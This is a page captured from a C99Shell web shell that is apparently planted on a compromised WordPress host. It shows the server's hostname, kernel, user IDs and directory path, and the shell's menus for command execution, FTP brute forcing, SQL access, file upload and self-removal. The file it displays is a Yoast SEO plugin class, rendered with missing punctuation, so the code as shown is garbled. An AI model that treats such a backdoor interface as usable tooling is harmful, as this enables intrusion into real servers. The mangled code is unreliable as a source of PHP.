!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/admin/taxonomy/   drwxr-xr-x
Free 179.29 GB of 490.84 GB (36.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-taxonomy-columns.php (6.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO\Admin
 */

/**
 * This class adds columns to the taxonomy table.
 */
class WPSEO_Taxonomy_Columns {

    
/**
     * @var WPSEO_Metabox_Analysis_SEO
     */
    
private $analysis_seo;

    
/**
     * WPSEO_Taxonomy_Columns constructor.
     */
    
public function __construct() {

        
$this->taxonomy $this->get_taxonomy();

        if ( ! empty( 
$this->taxonomy ) ) {
            
add_filter'manage_edit-' $this->taxonomy '_columns', array( $this'add_columns' ) );
            
add_filter'manage_' $this->taxonomy '_custom_column', array( $this'parse_column' ), 10);
        }

        
$this->analysis_seo = new WPSEO_Metabox_Analysis_SEO();
        
$this->analysis_readability = new WPSEO_Metabox_Analysis_Readability();
    }

    
/**
     * Adds an SEO score column to the terms table, right after the description column.
     *
     * @param array $columns Current set columns.
     *
     * @return array
     */
    
public function add_columns( array $columns ) {

        if ( 
$this->is_metabox_hidden() === true ) {
            return 
$columns;
        }

        
$new_columns = array();

        foreach ( 
$columns as $column_name => $column_value ) {
            
$new_columns$column_name ] = $column_value;

            if ( 
$column_name === 'description' && $this->analysis_seo->is_enabled() ) {
                
$new_columns['wpseo_score'] = __'SEO''wordpress-seo' );
            }

            if ( 
$column_name === 'description' && $this->analysis_readability->is_enabled() ) {
                
$new_columns['wpseo_score_readability'] = __'Readability''wordpress-seo' );
            }
        }

        return 
$new_columns;
    }

    
/**
     * Parses the column.
     *
     * @param string  $content The current content of the column.
     * @param string  $column_name The name of the column.
     * @param integer $term_id ID of requested taxonomy.
     *
     * @return string
     */
    
public function parse_column$content$column_name$term_id ) {

        switch ( 
$column_name ) {
            case 
'wpseo_score':
                return 
$this->get_score_value$term_id );

                break;

            case 
'wpseo_score_readability':
                return 
$this->get_score_readability_value$term_id );
                break;
        }

        return 
$content;
    }


    
/**
     * Returns the posted/get taxonomy value if it is set.
     *
     * @return string|null
     */
    
private function get_taxonomy() {
        if ( 
defined'DOING_AJAX' ) && DOING_AJAX === true ) {
            return 
FILTER_INPUTINPUT_POST'taxonomy' );
        }

        return 
FILTER_INPUTINPUT_GET'taxonomy' );
    }

    
/**
     * Parses the value for the score column.
     *
     * @param integer $term_id ID of requested term.
     *
     * @return string
     */
    
private function get_score_value$term_id ) {
        
$term get_term$term_id$this->taxonomy );

        
// When the term isn't indexable.
        
if ( ! $this->is_indexable$term ) ) {
            return 
$this->create_score_icon(
                new 
WPSEO_RankWPSEO_Rank::NO_INDEX ),
                
__'Term is set to noindex.''wordpress-seo' )
            );
        }

        
// When there is a focus key word.
        
if ( $focus_keyword $this->get_focus_keyword$term ) ) {
            
$score = (int) WPSEO_Taxonomy_Meta::get_term_meta$term_id$this->taxonomy'linkdex' );
            
$rank  WPSEO_Rank::from_numeric_score$score );

            return 
$this->create_score_icon$rank$rank->get_label() );
        }

        
// Default icon.
        
return $this->create_score_icon(
            new 
WPSEO_RankWPSEO_Rank::NO_FOCUS ),
            
__'Focus keyword not set.''wordpress-seo' )
        );
    }

    
/**
     * Parses the value for the readability score column.
     *
     * @param int $term_id ID of the requested term.
     *
     * @return string The HTML for the readability score indicator.
     */
    
private function get_score_readability_value$term_id ) {
        
$score = (int) WPSEO_Taxonomy_Meta::get_term_meta$term_id$this->taxonomy'content_score' );
        
$rank WPSEO_Rank::from_numeric_score$score );

        return 
$this->create_score_icon$rank );
    }

    
/**
     * Creates an icon by the given values.
     *
     * @param WPSEO_Rank $rank The ranking object.
     * @param string     $title Optional. The title to show. Defaults to the rank label.
     *
     * @return string The HTML for a score icon.
     */
    
private function create_score_iconWPSEO_Rank $rank$title '' ) {
        if ( empty( 
$title ) ) {
            
$title $rank->get_label();
        }

        return 
'<div aria-hidden="true" title="' esc_attr$title ) . '" class="wpseo-score-icon ' esc_attr$rank->get_css_class() ) . '"></div><span class="screen-reader-text">' $title '</span>';
    }

    
/**
     * Check if the taxonomy is indexable.
     *
     * @param mixed $term The current term.
     *
     * @return bool
     */
    
private function is_indexable$term ) {
        static 
$options;

        
// Saving the options once, because it's static.
        
if ( $options === null ) {
            
$options WPSEO_Options::get_all();
        }

        
// When the no_index value is not empty and not default, check if its value is index.
        
$no_index WPSEO_Taxonomy_Meta::get_term_meta$term->term_id$this->taxonomy'noindex' );
        if ( ! empty( 
$no_index ) && $no_index !== 'default' ) {
            return ( 
$no_index === 'index' );
        }

        
// Check if the default for taxonomy is empty (this will be index).
        
$no_index_key 'noindex-tax-' $term->taxonomy;
        if ( 
is_object$term ) && ( isset( $options$no_index_key ] ) ) ) {
            return ( empty( 
$options$no_index_key ] ) );
        }

        return 
true;
    }

    
/**
     * Returns the focus keyword if this is set, otherwise it will give the term name.
     *
     * @param stdClass|WP_Term $term The current term.
     *
     * @return string
     */
    
private function get_focus_keyword$term ) {
        if ( 
$focus_keyword WPSEO_Taxonomy_Meta::get_term_meta'focuskw'$term->term_id$term->taxonomy ) ) {
            return 
$focus_keyword;
        }

        return 
$term->name;
    }

    
/**
     * Checks if a taxonomy is being added via a POST method. If not, it defaults to a GET request.
     *
     * @return int
     */
    
private function get_taxonomy_input_type() {

        if ( ! empty( 
$_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' ) {
            return 
INPUT_POST;
        }

        return 
INPUT_GET;
    }

    
/**
     * Test whether the metabox should be hidden either by choice of the admin
     *
     * @since 3.1
     *
     * @param  string $taxonomy (optional) The post type to test, defaults to the current post post_type.
     *
     * @return  bool        Whether or not the meta box (and associated columns etc) should be hidden
     */
    
private function is_metabox_hidden$taxonomy null ) {
        
$get_taxonomy_type filter_input$this->get_taxonomy_input_type(), 'taxonomy' );

        if ( ! isset( 
$taxonomy ) && $get_taxonomy_type ) {
            
$taxonomy sanitize_text_field$get_taxonomy_type );
        }

        if ( isset( 
$taxonomy ) ) {
            
// Don't make static as taxonomies may still be added during the run.
            
$custom_taxonomies get_taxonomies( array( 'public' => true ), 'names' );
            
$options           get_option'wpseo_titles' );

            return ( ( isset( 
$options'hideeditbox-tax-' $taxonomy ] ) && $options'hideeditbox-tax-' $taxonomy ] === true ) || in_array$taxonomy$custom_taxonomies ) === false );
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0064 ]--